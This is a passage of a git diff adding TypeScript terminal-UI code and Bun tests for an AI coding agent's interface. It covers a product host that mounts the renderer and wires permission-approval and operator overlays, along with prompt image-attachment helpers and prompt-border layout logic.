[], + } + emitter.emit("permission.gate", { + request, + resolve: (outcome: unknown) => { + resolved = outcome + }, + }) + expect(host.shell.overlayKind).toBe("permissions") + expect(host.shell.overlayItems).toEqual(["Reject", "Accept once"]) + + acceptOverlaySelection(host.shell) + expect(resolved).toEqual({ allow: false }) + } finally { + host.dispose() + } + }) + + test("operator.gate opens the overlay and resolves through the emitter's resolve callback", async () => { + const { host, emitter } = await mountHeadless() + try { + let resolved: unknown + emitter.emit("operator.gate", { + question: "Proceed?", + options: ["Cancel", "Continue"], + resolve: (result: unknown) => { + resolved = result + }, + }) + expect(host.shell.overlayKind).toBe("operator") + expect(host.shell.overlayItems).toEqual(["Cancel", "Continue"]) + } finally { + host.dispose() + } + }) + + test("dispose() detaches emitter listeners and resolves waitUntilExit", async () => { + const { host, emitter } = await mountHeadless() + + expect(emitter.listenerCount("event")).toBe(1) + expect(emitter.listenerCount("history.hydrate")).toBe(1) + expect(emitter.listenerCount("session.title")).toBe(1) + expect(emitter.listenerCount("permission.gate")).toBe(1) + expect(emitter.listenerCount("operator.gate")).toBe(1) + + const exited = host.waitUntilExit() + host.dispose() + await exited + + expect(emitter.listenerCount("event")).toBe(0) + expect(emitter.listenerCount("history.hydrate")).toBe(0) + expect(emitter.listenerCount("session.title")).toBe(0) + expect(emitter.listenerCount("permission.gate")).toBe(0) + expect(emitter.listenerCount("operator.gate")).toBe(0) + }) + + test("dispose() is idempotent and events after dispose are ignored", async () => { + const { host, emitter } = await mountHeadless() + host.dispose() + expect(() => host.dispose()).not.toThrow() + + // Listeners were removed by dispose; emitting is a no-op, not a throw. + expect(() => + emitter.emit("event", { type: "user", text: "late" }), + ).not.toThrow() + expect(host.shell.streamLog).toEqual([]) + }) +}) + +describe("mount failure", () => { + test("destroys the renderer when gate wiring throws", async () => { + const harness = await createHarness({ width: 80, height: 24 }) + let destroyed = 0 + const realDestroy = harness.renderer.destroy.bind(harness.renderer) + harness.renderer.destroy = () => { + destroyed += 1 + realDestroy() + } + + // Gate wiring is the first thing to touch the emitter after the renderer + // owns the alternate screen; a throw there once leaked the renderer. + const emitter = new EventEmitter() + const realOn = emitter.on.bind(emitter) + emitter.on = ((event: string, listener: (...args: unknown[]) => void) => { + if (event === "permission.gate") throw new Error("gate wiring failed") + return realOn(event, listener) + }) as typeof emitter.on + + const port = makeFakeSessionPort() + await expect( + mountProductHost({ + title: "crash-on-mount", + eventEmitter: emitter, + send: port.send, + interrupt: port.interrupt, + createRenderer: async () => harness.renderer, + }), + ).rejects.toThrow("gate wiring failed") + expect(destroyed).toBe(1) + }) +}) diff --git a/src/tui-opentui/product-host.ts b/src/tui-opentui/product-host.ts new file mode 100644 index 000000000..001a9c2ed --- /dev/null +++ b/src/tui-opentui/product-host.ts @@ -0,0 +1,476 @@ +/** + * Production OpenTUI product host — mounts the shell with live session bridges. + * Replaces Ink `render()` on the interactive path. + */ + +import { EventEmitter } from "node:events" +import { createCliRenderer, type CliRenderer } from "@opentui/core" + +import type { ApprovalOutcome, ApprovalScope, PermissionRequest } from "../permission/types.js" +import type { OperatorResult } from "../agent/tools.js" +import { createLiveSessionPort } from "./live-session-port.js" +import { checkWidthContract, widthContractNotice } from "./width-contract.js" +import { + attachSessionBridge, + type SessionBridge, + type TurnMonitorOptions, +} from "./runtime-bridge.js" +import { openModelPickerOverlay } from "./overlays.js" +import { wireGates } from "./gate-wire.js" +import { createSystemClipboard } from "./system-clipboard.js" +import { + annotateAgentTools, + formatChromeZones, + type ChromeLiveState, +} from "./chrome-state.js" +import { + grantApproval, + grantNotice, + hookNotice, + lifecycleHookEvent, + mcpNotice, + mcpServerState, + subAgentProgress, + RUNTIME_FLASH_MS, + type RuntimeNotice, +} from "./runtime-notices.js" +import type { PaletteCommand } from "./palette.js" +import { + appendObserveStreamRow, + appendStreamRow, + createAppShell, + paintChrome, + setChromeZones, + setHeader, + setPaletteCatalog, + setPaletteOnCommand, + setStatusFlash, + type AppShell, + type ItemDescription, + type OverlaySelection, + type PaletteOnObserveRequest, +} from "./shell.js" +import type { QueueKind } from "./session-queue.js" +import { hydrateHistoryRows } from "./history-hydrate.js" +import type { StreamRow } from "./stream.js" + +import type { PendingImageAttachment } from "../tui/image-attachments.js" + +export type ProductHostSend = ( + text: string, + attachments?: readonly PendingImageAttachment[], +) => void +export type ProductHostInterrupt = () => void +export type ProductHostDeliver = ( + text: string, + kind: QueueKind, + attachments?: readonly PendingImageAttachment[], +) => void + +export type ProductHostModelOption = { + readonly id: string + readonly label: string +} + +export type ProductHostConfig = { + readonly title: string + /** Working directory carried by the prompt box's bottom border. */ + readonly cwd?: string + readonly eventEmitter: EventEmitter + readonly send: ProductHostSend + readonly interrupt: ProductHostInterrupt + readonly deliver?: ProductHostDeliver + /** Model/provider rows for the picker (id applied on select). */ + readonly models?: readonly ProductHostModelOption[] + readonly onModelSelect?: (id: string) => void + /** Description-zone source for the model picker, keyed by row id. */ + readonly describeModel?: (itemId: string) => ItemDescription | null + /** + * Selecting a "connect →" row (id `connect:`) calls this instead + * of `onModelSelect`. Caller runs the connect flow and, on success, updates + * `models`/`describeModel` via `setModels` and reopens the picker. + */ + readonly onConnectProvider?: (providerName: string) => void + /** `f` on a focused model/provider row; absent rows (connect →) are skipped by the caller. */ + readonly onFavoriteToggle?: (itemId: string) => void + /** Command palette catalog (registry-backed). */ + readonly commands?: readonly PaletteCommand[] + readonly onCommand?: (name: string) => void + /** Optional initial chrome snapshot. */ + readonly chrome?: ChromeLiveState | null + /** + * Resolves the live subagent session for the palette "observe" action. + * Unset falls back to the shell's demo fixture — production must supply + * this to view real subagent sessions. + */ + readonly onObserveRequest?: PaletteOnObserveRequest + /** + * Renderer factory override for headless mounting in tests. + * Defaults to the real `createCliRenderer`; tests inject a + * `createTestRenderer`-backed renderer instead. + */ + readonly createRenderer?: () => Promise + /** Clock/timer overrides for the quota-retry and stall watchdog (tests). */ + readonly turnMonitor?: TurnMonitorOptions + /** First-run telemetry disclosure, shown on the landing screen. */ + readonly telemetryNotice?: string + /** + * Take DEC mouse reporting. Default false: while it is on the terminal hands + * drags to us and cannot select text, which breaks copy with the mouse. + * Alt+M flips it at runtime for click-to-expand and drag-scroll. + */ + readonly useMouse?: boolean +} + +export type ProductHost = { + readonly shell: AppShell + readonly bridge: SessionBridge + readonly renderer: CliRenderer + readonly waitUntilExit: () => Promise + readonly dispose: () => void + readonly setChrome: (state: ChromeLiveState | null) => void + readonly setTitle: (title: string) => void + /** + * Push a live row into the currently open observe view. + * No-op (returns false) when observe is not active. + */ + readonly pushObserveRow: (row: StreamRow) => boolean + /** Opens the model/provider picker; absent when no models were supplied. */ + readonly openModels?: () => void + /** Swap the picker's rows/descriptions in place (e.g. after a provider connects). */ + readonly setModels?: ( + models: readonly ProductHostModelOption[], + describeModel?: (itemId: string) => ItemDescription | null, + ) => void +} + +/** Build permission overlay rows + ApprovalOutcome table (pure; testable). */ +export function permissionChoices(request: PermissionRequest): { + items: string[] + itemIds: string[] + outcomes: ApprovalOutcome[] +} { + const items: string[] = [] + const itemIds: string[] = [] + const outcomes: ApprovalOutcome[] = [] + + items.push("Reject") + itemIds.push("__deny__") + outcomes.push({ allow: false }) + + items.push("Accept once") + itemIds.push("__once__") + outcomes.push({ allow: true }) + + for (const scope of request.scopes) { + const label = scope.hint + ? `${scope.label} (${scope.hint})` + : scope.label + items.push(label) + itemIds.push(scope.id) + outcomes.push({ + allow: true, + ...(scope.pattern !== null + ? { persist: scope as ApprovalScope } + : {}), + }) + } + + return { items, itemIds, outcomes } +} + +/** + * Map an overlay accept selection to OperatorResult. + * Out-of-range index → cancel (Esc-equivalent / bad selection). + */ +export function operatorResultFromSelection( + sel: Pick, + optionCount: number, +): OperatorResult { + if (sel.index < 0 || sel.index >= optionCount) { + return { kind: "cancel" } + } + return { kind: "option", index: sel.index } +} + +/** + * Mount the OpenTUI shell as the production interactive UI. + * Caller owns session lifecycle (agent, MCP, hooks); host owns paint + input. + */ +export async function mountProductHost( + config: ProductHostConfig, +): Promise { + const renderer = config.createRenderer + ? await config.createRenderer() + : await createCliRenderer({ + exitOnCtrlC: false, + targetFps: 30, + // Mouse reporting off by default: any of DEC 1000/1002/1003/1006 makes + // the terminal forward drags to us instead of selecting text, so the + // user cannot copy with the mouse. Alt+M takes the mouse when + // click-to-expand or drag-scroll is wanted. + useMouse: config.useMouse ?? false, + enableMouseMovement: false, + // A plain terminal sends a bare CR for both Enter and Shift+Enter, so + // the modifier only arrives once the kitty keyboard protocol is + // negotiated. Empty object, not explicit flags: this matches what + // OpenCode passes, and it is the configuration Shift+Enter is known + // to work under on the same OpenTUI renderer. + useKittyKeyboard: {}, + }) + + const shell = createAppShell(renderer, { + title: config.title, + clipboard: createSystemClipboard(), + mouseCapture: { + get: () => renderer.useMouse, + set: (enabled: boolean) => { + renderer.useMouse = enabled + }, + }, + ...(config.cwd !== undefined ? { cwd: config.cwd } : {}), + run: "idle", + ...(config.commands !== undefined ? { paletteCatalog: config.commands } : {}), + ...(config.onCommand !== undefined ? { onCommand: config.onCommand } : {}), + ...(config.onObserveRequest !== undefined + ? { onObserveRequest: config.onObserveRequest } + : {}), + ...(config.telemetryNotice !== undefined + ? { telemetryNotice: config.telemetryNotice } + : {}), + }) + + // Announced in the transcript rather than logged: a log line is invisible + // behind a full-screen shell, and the operator is the only one who can fix a + // terminal setting. + const widthReport = checkWidthContract(renderer.widthMethod) + if (!widthReport.agrees) { + appendStreamRow(shell, { role: "system", text: widthContractNotice(widthReport) }) + } + + const port = createLiveSessionPort({ + send: config.send, + interrupt: config.interrupt, + ...(config.deliver !== undefined ? { deliver: config.deliver } : {}), + }) + // Empty options accept the defaults (real clock, 250 ms tick, 15 min stall) + // while still opting this host into the quota-retry / stall timers. + const bridge = attachSessionBridge(shell, port, config.turnMonitor ?? {}) + + if (config.commands !== undefined && config.commands.length > 0) { + setPaletteCatalog(shell, config.commands) + } + if (config.onCommand) { + setPaletteOnCommand(shell, config.onCommand) + } + + // Live chrome is pushed by the caller; subagent progress annotates the copy + // the host last received rather than racing the caller for the zone. + let chromeState: ChromeLiveState | null = config.chrome ?? null + const subAgentTools = new Map() + const paintChromeZones = (): void => { + if (chromeState === null) { + setChromeZones(shell, { goal: null, task: null, agents: null }) + return + } + setChromeZones( + shell, + formatChromeZones(annotateAgentTools(chromeState, subAgentTools)), + ) + } + if (chromeState !== null) paintChromeZones() + + let disposed = false + let resolveExit: (() => void) | undefined + const exitPromise = new Promise((resolve) => { + resolveExit = resolve + }) + + // The poll outlives the renderer whenever a caller tears the renderer down + // without disposing the host. Painting into freed buffers throws, and a host + // that can no longer paint has nothing left to keep fresh, so it stands down. + const stickyPoll = setInterval(() => { + if (disposed) return + try { + paintChrome(shell) + } catch { + clearInterval(stickyPoll) + } + }, 200) + if (typeof stickyPoll.unref === "function") stickyPoll.unref() + + function dispose(): void { + if (disposed) return + disposed = true + clearInterval(stickyPoll) + config.eventEmitter.off("event", onEvent) + disposeGates() + config.eventEmitter.off("history.hydrate", onHistory) + config.eventEmitter.off("session.title", onTitle) + config.eventEmitter.off("hook", onHook) + config.eventEmitter.off("mcp.status", onMcpStatus) + config.eventEmitter.off("permission.grant", onPermissionGrant) + config.eventEmitter.off("subagent.progress", onSubAgentProgress) + bridge.dispose() + // Cancels any flash still counting down: its expiry repaints, and after + // teardown that repaint reaches a destroyed text buffer. + setStatusFlash(shell, null) + try { + shell.dispose() + } catch { + // already torn down + } + try { + renderer.destroy() + } catch { + // already destroyed + } + resolveExit?.() + } + + function onEvent(event: unknown): void { + if (disposed) return + if ( + event !== null && + typeof event === "object" && + "type" in event && + typeof (event as { type: unknown }).type === "string" + ) { + bridge.handle(event as { type: string; data?: unknown }) + } + } + + function show(notice: RuntimeNotice | null): void { + if (notice === null) return + if (notice.kind === "row") { + appendStreamRow(shell, { role: "system", text: notice.text }) + return + } + setStatusFlash(shell, notice.text, { ttlMs: RUNTIME_FLASH_MS }) + } + + function onHook(event: unknown): void { + if (disposed) return + const parsed = lifecycleHookEvent(event) + if (parsed !== null) show(hookNotice(parsed)) + } + + function onMcpStatus(state: unknown): void { + if (disposed) return + const parsed = mcpServerState(state) + if (parsed !== null) show(mcpNotice(parsed)) + } + + function onPermissionGrant(payload: unknown): void { + if (disposed) return + const approval = grantApproval(payload) + if (approval !== null) show(grantNotice(approval)) + } + + function onSubAgentProgress(info: unknown): void { + if (disposed) return + const progress = subAgentProgress(info) + if (progress === null) return + subAgentTools.set(progress.description, progress.toolName) + paintChromeZones() + } + + // The renderer already owns the alternate screen and raw mode by this point, + // but `dispose` has not been handed to any caller yet — a throw here would + // leave the terminal wedged with nobody able to restore it. + let disposeGates: () => void + try { + disposeGates = wireGates(config.eventEmitter, shell) + } catch (err: unknown) { + try { + renderer.destroy() + } catch { + // already destroyed + } + throw err + } + + function onHistory(blocks: unknown): void { + if (disposed) return + for (const row of hydrateHistoryRows(blocks)) { + appendStreamRow(shell, row) + } + } + + function onTitle(title: unknown): void { + if (typeof title === "string" && title.length > 0) { + setHeader(shell, title) + } + } + + let currentModels = config.models ?? [] + let currentDescribeModel = config.describeModel + let openModels: (() => void) | undefined + if (config.onModelSelect) { + const onSelect = config.onModelSelect + const onConnect = config.onConnectProvider + const onFavoriteToggle = config.onFavoriteToggle + openModels = (): void => { + openModelPickerOverlay(shell, { + items: currentModels.map((m) => m.label), + itemIds: currentModels.map((m) => m.id), + onAccept: (sel) => { + const id = sel.id ?? currentModels[sel.index]?.id + if (!id) return + const providerName = id.startsWith("connect:") ? id.slice("connect:".length) : null + if (providerName !== null) { + onConnect?.(providerName) + return + } + onSelect(id) + }, + ...(currentDescribeModel !== undefined ? { describe: currentDescribeModel } : {}), + ...(onFavoriteToggle !== undefined + ? { + onAction: (itemId, key) => { + // Alt+F, never bare f — the palette filters as you type, so a + // bare letter narrows the list instead of toggling a favorite. + const name = typeof key.name === "string" ? key.name.toLowerCase() : "" + if (name !== "f" || key.ctrl || !(key.meta || key.option)) return false + if (itemId.startsWith("connect:")) return false + onFavoriteToggle(itemId) + return true + }, + } + : {}), + }) + } + ;(shell as AppShell & { __openModels?: () => void }).__openModels = + openModels + } + const setModels = ( + models: readonly ProductHostModelOption[], + describeModel?: (itemId: string) => ItemDescription | null, + ): void => { + currentModels = models + currentDescribeModel = describeModel + } + + config.eventEmitter.on("event", onEvent) + config.eventEmitter.on("history.hydrate", onHistory) + config.eventEmitter.on("session.title", onTitle) + config.eventEmitter.on("hook", onHook) + config.eventEmitter.on("mcp.status", onMcpStatus) + config.eventEmitter.on("permission.grant", onPermissionGrant) + config.eventEmitter.on("subagent.progress", onSubAgentProgress) + + return { + shell, + bridge, + renderer, + waitUntilExit: () => exitPromise, + dispose, + setChrome: (state) => { + chromeState = state ?? null + paintChromeZones() + }, + setTitle: (title) => setHeader(shell, title), + pushObserveRow: (row) => appendObserveStreamRow(shell, row), + ...(openModels !== undefined ? { openModels, setModels } : {}), + } +} diff --git a/src/tui-opentui/prompt-attachments.test.ts b/src/tui-opentui/prompt-attachments.test.ts new file mode 100644 index 000000000..0c266d511 --- /dev/null +++ b/src/tui-opentui/prompt-attachments.test.ts @@ -0,0 +1,58 @@ +import { describe, expect, test } from "bun:test" + +import type { AttachImageResult, PendingImageAttachment } from "../tui/image-attachments.js" +import { + ingestPathMentions, + spliceMentionCompletion, +} from "./prompt-attachments.js" + +function attachment(name: string): PendingImageAttachment { + return { + id: name, + name, + contentType: "image/png", + data: new Uint8Array([1, 2, 3]), + } +} + +describe("ingestPathMentions", () => { + test("leaves text untouched when there is no image path", async () => { + const result = await ingestPathMentions("just words", "/repo", async () => { + throw new Error("must not load") + }) + expect(result.text).toBe("just words") + expect(result.attachments).toEqual([]) + }) + + test("replaces a loaded path with a marker and returns the attachment", async () => { + const load = async (path: string): Promise => ({ + ok: true, + attachment: { ...attachment("shot.png"), path }, + }) + const result = await ingestPathMentions("look at ./shot.png please", "/repo", load) + expect(result.text).toBe("look at [Attached image: shot.png] please") + expect(result.attachments).toHaveLength(1) + }) + + test("keeps the raw path when loading fails", async () => { + const load = async (): Promise => ({ ok: false, reason: "nope" }) + const result = await ingestPathMentions("./shot.png", "/repo", load) + expect(result.text).toBe("./shot.png") + expect(result.attachments).toEqual([]) + }) +}) + +describe("spliceMentionCompletion", () => { + test("replaces the typed token and keeps the trailing text", () => { + const value = "read @src/tu rest" + const spliced = spliceMentionCompletion(value, 5, 12, "src/tui/") + expect(spliced.value).toBe("read @src/tui/ rest") + expect(spliced.cursor).toBe(14) + }) + + test("completes a bare @ at the end of the prompt", () => { + const spliced = spliceMentionCompletion("look @", 5, 6, "AGENTS.md") + expect(spliced.value).toBe("look @AGENTS.md") + expect(spliced.cursor).toBe(15) + }) +}) diff --git a/src/tui-opentui/prompt-attachments.ts b/src/tui-opentui/prompt-attachments.ts new file mode 100644 index 000000000..f82bf7067 --- /dev/null +++ b/src/tui-opentui/prompt-attachments.ts @@ -0,0 +1,64 @@ +/** + * Pure prompt-composition helpers shared by the OpenTUI shell: path-mention + * ingestion and @-mention splicing. + * No renderer access — the shell owns paint and key wiring. + */ + +import { + findImagePathMentions, + type AttachImageResult, + type PendingImageAttachment, +} from "../tui/image-attachments.js" + +export type { PendingImageAttachment } + +export type PathMentionIngestion = { + readonly text: string + readonly attachments: readonly PendingImageAttachment[] +} + +/** + * Replace image paths written inline in the prompt with attachment markers and + * return the loaded attachments. `load` is injected so this stays testable + * without touching the filesystem. + */ +export async function ingestPathMentions( + text: string, + cwd: string, + load: (path: string) => Promise, +): Promise { + const mentions = findImagePathMentions(text, cwd) + if (mentions.length === 0) return { text, attachments: [] } + + const loaded = await Promise.all(mentions.map((m) => load(m.path))) + const attachments: PendingImageAttachment[] = [] + let out = text + for (const [index, mention] of mentions.entries()) { + const result = loaded[index] + if (result === undefined || !result.ok) continue + attachments.push(result.attachment) + out = out.replace(mention.raw, `[Attached image: ${result.attachment.name}]`) + } + return { text: out, attachments } +} + +export type MentionSplice = { + readonly value: string + readonly cursor: number +} + +/** + * Replace the @token under the cursor with `completion`, keeping the leading + * `@`. Directory completions keep their trailing slash so the next open lists + * that directory. + */ +export function spliceMentionCompletion( + value: string, + atStart: number, + cursor: number, + completion: string, +): MentionSplice { + const head = value.slice(0, atStart + 1) + const tail = value.slice(Math.max(cursor, atStart + 1)) + return { value: `${head}${completion}${tail}`, cursor: head.length + completion.length } +} diff --git a/src/tui-opentui/prompt-border.test.ts b/src/tui-opentui/prompt-border.test.ts new file mode 100644 index 000000000..c56dcb08b --- /dev/null +++ b/src/tui-opentui/prompt-border.test.ts @@ -0,0 +1,253 @@ +import { describe, expect, test } from "bun:test" + +import { + BORDER, + CONTEXT_PRESSURE_THRESHOLD, + abbreviateHome, + composeCostContextMeter, + composeRule, + composeWorkspaceLabel, + costContextText, + isPlainRule, + ruleText, + ruleWidth, +} from "./prompt-border" + +const TOP = [BORDER.topLeft, BORDER.topRight] as const +const BOTTOM = [BORDER.bottomLeft, BORDER.bottomRight] as const + +describe("border characters", () => { + test("every rounded glyph is one cell wide", () => { + for (const char of Object.values(BORDER)) { + expect([...char]).toHaveLength(1) + expect(char.codePointAt(0)).toBeGreaterThan(0x2500 - 1) + } + }) +}) + +describe("composeRule", () => { + test("a label sits right-aligned with rule either side of it", () => { + const parts = composeRule({ width: 40, corners: TOP, label: "grok 4.5" }) + expect(ruleText(parts)).toBe("╭─────────────────────────── grok 4.5 ─╮") + expect(ruleWidth(parts)).toBe(40) + }) + + test("the rule is exactly the requested width", () => { + for (const width of [80, 60, 48, 40, 20, 3]) { + const parts = composeRule({ width, corners: TOP, label: "grok 4.5" }) + expect(ruleWidth(parts)).toBe(width) + } + }) + + test("no label leaves an unbroken run of frame characters", () => { + const parts = composeRule({ width: 20, corners: TOP }) + expect(isPlainRule(parts)).toBe(true) + expect(ruleText(parts)).toBe("╭──────────────────╮") + }) + + test("brand and label share a rule wide enough for both", () => { + const parts = composeRule({ + width: 60, + corners: BOTTOM, + brand: "▃▅██▆ corbits code", + label: "~/x (main)", + }) + expect(ruleText(parts)).toBe( + "╰─ ▃▅██▆ corbits code ──────────────────────── ~/x (main) ─╯", + ) + expect(ruleWidth(parts)).toBe(60) + expect(parts.some((p) => p.role === "brand")).toBe(true) + expect(parts.some((p) => p.role === "label")).toBe(true) + }) + + test("a rule too narrow for both keeps the label and drops the brand", () => { + const parts = composeRule({ + width: 24, + corners: BOTTOM, + brand: "▃▅██▆ corbits code", + label: "~/x (main)", + }) + expect(parts.some((p) => p.role === "brand")).toBe(false) + expect(ruleText(parts)).toContain("~/x (main)") + expect(ruleWidth(parts)).toBe(24) + }) + + test("a rule too narrow for either degrades to a plain rule", () => { + const parts = composeRule({ + width: 10, + corners: BOTTOM, + brand: "▃▅██▆ corbits code", + label: "~/very/long/path (main)", + }) + expect(isPlainRule(parts)).toBe(true) + expect(ruleText(parts)).toBe("╰────────╯") + }) + + test("brand, meter and label all seat when the rule is wide enough", () => { + const parts = composeRule({ + width: 60, + corners: BOTTOM, + brand: "corbits code", + meter: "██████████ 68% · $0.42", + meterCompact: "██████████ 68%", + label: "~/x", + }) + expect(ruleText(parts)).toBe( + "╰─ corbits code ──────────── ██████████ 68% · $0.42 ─ ~/x ─╯", + ) + expect(ruleWidth(parts)).toBe(60) + expect(parts.some((p) => p.role === "meter")).toBe(true) + expect(parts.some((p) => p.role === "label")).toBe(true) + expect(parts.some((p) => p.role === "brand")).toBe(true) + }) + + test("drop order under narrowing: brand goes first, then cost, then context, then the label survives longest", () => { + const base = { + corners: BOTTOM, + brand: "corbits code", + meter: "██████████ 68% · $0.42", + meterCompact: "██████████ 68%", + label: "~/x", + } + + // Wide enough for everything. + const wide = composeRule({ ...base, width: 60 }) + expect(wide.some((p) => p.role === "brand")).toBe(true) + expect(ruleText(wide)).toContain("$0.42") + + // Too narrow for the brand: it drops first, meter (with cost) and label remain. + const noBrand = composeRule({ ...base, width: 34 }) + expect(noBrand.some((p) => p.role === "brand")).toBe(false) + expect(ruleText(noBrand)).toContain("$0.42") + expect(ruleText(noBrand)).toContain("~/x") + + // Too narrow for the cost suffix too: the compact meter and label remain. + const noCost = composeRule({ ...base, width: 26 }) + expect(noCost.some((p) => p.role === "brand")).toBe(false) + expect(ruleText(noCost)).not.toContain("$0.42") + expect(ruleText(noCost)).toContain("68%") + expect(ruleText(noCost)).toContain("~/x") + + // Too narrow for the meter at all: only the label remains. + const labelOnly = composeRule({ ...base, width: 14 }) + expect(labelOnly.some((p) => p.role === "meter")).toBe(false) + expect(ruleText(labelOnly)).toContain("~/x") + + // Too narrow for anything: plain rule. + const plain = composeRule({ ...base, width: 5 }) + expect(isPlainRule(plain)).toBe(true) + }) + + test("the rule stays exactly the requested width with a meter present, at every size", () => { + for (const width of [120, 80, 60, 48, 40, 20, 10, 3]) { + const parts = composeRule({ + width, + corners: BOTTOM, + brand: "corbits code", + meter: "██████████ 68% · $0.42", + meterCompact: "██████████ 68%", + label: "~/abklabs/corbits-code (migration/opentui-tui)", + }) + expect(ruleWidth(parts)).toBe(width) + } + }) +}) + +describe("composeCostContextMeter", () => { + test("null when the context window is unknown", () => { + expect(composeCostContextMeter({ contextPercentUsed: null })).toBeNull() + }) + + test("carries the percent and cost", () => { + const meter = composeCostContextMeter({ contextPercentUsed: 68, costLabel: "$0.42" }) + expect(meter).not.toBeNull() + expect(meter!.percentLabel).toBe("68%") + expect(meter!.costLabel).toBe("$0.42") + }) + + test("drops the cost suffix when told to, keeping the percent", () => { + const meter = composeCostContextMeter({ contextPercentUsed: 68, costLabel: "$0.42" })! + expect(costContextText(meter, true)).toContain("$0.42") + expect(costContextText(meter, false)).not.toContain("$0.42") + expect(costContextText(meter, false)).toContain("68%") + }) + + test("turns pressured past the threshold, not before it", () => { + const thresholdPercent = CONTEXT_PRESSURE_THRESHOLD * 100 + const below = composeCostContextMeter({ contextPercentUsed: thresholdPercent - 1 })! + const atOrAbove = composeCostContextMeter({ contextPercentUsed: thresholdPercent })! + expect(below.pressured).toBe(false) + expect(atOrAbove.pressured).toBe(true) + }) +}) + +describe("abbreviateHome", () => { + test("replaces the home prefix and leaves anything else alone", () => { + expect(abbreviateHome("/home/x/code", "/home/x")).toBe("~/code") + expect(abbreviateHome("/home/x", "/home/x")).toBe("~") + expect(abbreviateHome("/srv/code", "/home/x")).toBe("/srv/code") + expect(abbreviateHome("/home/xyz/code", "/home/x")).toBe("/home/xyz/code") + }) +}) + +describe("composeWorkspaceLabel", () => { + const cwd = "/home/x/abklabs/corbits-code" + + test("directory and branch, home abbreviated", () => { + expect( + composeWorkspaceLabel({ cwd, branch: "main", home: "/home/x", maxWidth: 80 }), + ).toBe("~/abklabs/corbits-code (main)") + }) + + test("no branch leaves the directory alone", () => { + expect( + composeWorkspaceLabel({ cwd, branch: null, home: "/home/x", maxWidth: 80 }), + ).toBe("~/abklabs/corbits-code") + }) + + test("the path shortens from the left so the branch always survives", () => { + const label = composeWorkspaceLabel({ + cwd, + branch: "migration/opentui-tui", + home: "/home/x", + maxWidth: 40, + }) + expect(label).toEndWith("(migration/opentui-tui)") + expect(label.startsWith("…")).toBe(true) + expect(label.length).toBeLessThanOrEqual(40) + }) + + test("a path with no room at all yields to the branch alone", () => { + expect( + composeWorkspaceLabel({ + cwd, + branch: "migration/opentui-tui", + home: "/home/x", + maxWidth: 24, + }), + ).toBe("(migration/opentui-tui)") + }) + + test("no room for even the branch composes to nothing", () => { + expect( + composeWorkspaceLabel({ + cwd, + branch: "migration/opentui-tui", + home: "/home/x", + maxWidth: 8, + }), + ).toBe("") + }) + + test("never exceeds the width it was given", () => { + for (let maxWidth = 0; maxWidth <= 60; maxWidth++) { + const label = composeWorkspaceLabel({ + cwd, + branch: "migration/opentui-tui", + home: "/home/x", + maxWidth, + }) + expect(label.length).toBeLessThanOrEqual(maxWidth) + } + }) +}) diff --git a/src/tui-opentui/prompt-border.ts b/src/tui-opentui/prompt-border.ts new file mode 100644 index 000000000..69c75d033 --- /dev/null +++ b/src/tui-opentui/prompt-border.ts @@ -0,0 +1,317 @@ +/** + * The prompt box's border, and the metadata it carries. + * + * The box has no bars above or below it: the model name rides the top rule and + * the workspace (directory + git branch) rides the bottom one, so both cost + * zero rows. The rule breaks around each label and resumes on the far side, + * which is what makes the label read as part of the frame rather than as text + * that happens to sit on it. + * + * Pure: text in, ordered parts out. The shell colours the parts and swaps the + * `brand` part for the animated lockup cells, which is why a placeholder of the + * lockup's exact width is passed in rather than the cells themselves. + */ + +import { stringWidth } from "../tui/view/height.js" +import { renderRamp } from "./ramp.js" + +/** Rounded box drawing, all single-cell. */ +export const BORDER = { + topLeft: "╭", + topRight: "╮", + bottomLeft: "╰", + bottomRight: "╯", + horizontal: "─", + vertical: "│", +} as const + +/** + * `rule` is frame, `label` is metadata, `brand` is the lockup's reserved run, + * `meter` is the cost/context run. The shell paints each role differently; + * nothing else distinguishes them. + */ +export type RuleRole = "rule" | "label" | "brand" | "meter" + +export type RulePart = { + readonly text: string + readonly role: RuleRole +} + +export type RuleInput = { + readonly width: number + readonly corners: readonly [string, string] + /** Left-hand run (the lockup). Dropped first when the rule cannot seat everything. */ + readonly brand?: string + /** + * Cost/context run, richest form (context ramp + percent + cost). Sits + * between the brand and the label. Dropped before the label but after the + * brand: it is a live gauge, not the operator's own workspace. + */ + readonly meter?: string + /** `meter` with the cost suffix already stripped — tried once `meter` no longer fits. */ + readonly meterCompact?: string + /** Right-aligned label. Dropped last: it is information, the mark is not. */ + readonly label?: string +} + +/** Rule cells held between a corner and the nearest run, and the minimum flexible fill. */ +const RULE_MARGIN = 1 + +/** Rule cells held between the meter run and the label. */ +const RULE_GAP = 1 + +function widthOf(parts: readonly RulePart[]): number { + let total = 0 + for (const part of parts) total += stringWidth(part.text) + return total +} + +function dashes(count: number): string { + return BORDER.horizontal.repeat(Math.max(0, count)) +} + +function padCell(text: string): string { + return text.length > 0 ? ` ${text} ` : "" +} + +type RightBlock = { + readonly parts: readonly RulePart[] + readonly cost: number +} + +/** The meter and label, in that order, joined by a fixed dash run when both survive. */ +function buildRightBlock(meterCell: string, labelCell: string): RightBlock { + const parts: RulePart[] = [] + if (meterCell.length > 0) parts.push({ text: meterCell, role: "meter" }) + if (meterCell.length > 0 && labelCell.length > 0) { + parts.push({ text: dashes(RULE_GAP), role: "rule" }) + } + if (labelCell.length > 0) parts.push({ text: labelCell, role: "label" }) + return { parts, cost: widthOf(parts) } +} + +/** Corner, margin, brand, flexible fill, then the right block, margin, corner. */ +function layoutWithBrand( + open: string, + close: string, + inner: number, + brandCell: string, + brandCost: number, + block: RightBlock, +): RulePart[] | null { + if (brandCost === 0 || block.cost === 0) return null + if (inner < RULE_MARGIN * 2 + RULE_GAP + brandCost + block.cost) return null + const fill = inner - RULE_MARGIN * 2 - brandCost - block.cost + return [ + { text: open, role: "rule" }, + { text: dashes(RULE_MARGIN), role: "rule" }, + { text: brandCell, role: "brand" }, + { text: dashes(fill), role: "rule" }, + ...block.parts, + { text: dashes(RULE_MARGIN), role: "rule" }, + { text: close, role: "rule" }, + ] +} + +/** The right block alone, right-aligned: flexible fill on its left, a bare margin on its right. */ +function layoutRightOnly( + open: string, + close: string, + inner: number, + block: RightBlock, +): RulePart[] | null { + if (block.cost === 0) return null + if (inner < RULE_MARGIN * 2 + block.cost) return null + const lead = inner - RULE_MARGIN - block.cost + return [ + { text: open, role: "rule" }, + { text: dashes(lead), role: "rule" }, + ...block.parts, + { text: dashes(RULE_MARGIN), role: "rule" }, + { text: close, role: "rule" }, + ] +} + +/** The brand alone, left-aligned: a bare margin on its left, flexible fill on its right. */ +function layoutBrandOnly( + open: string, + close: string, + inner: number, + brandCell: string, + 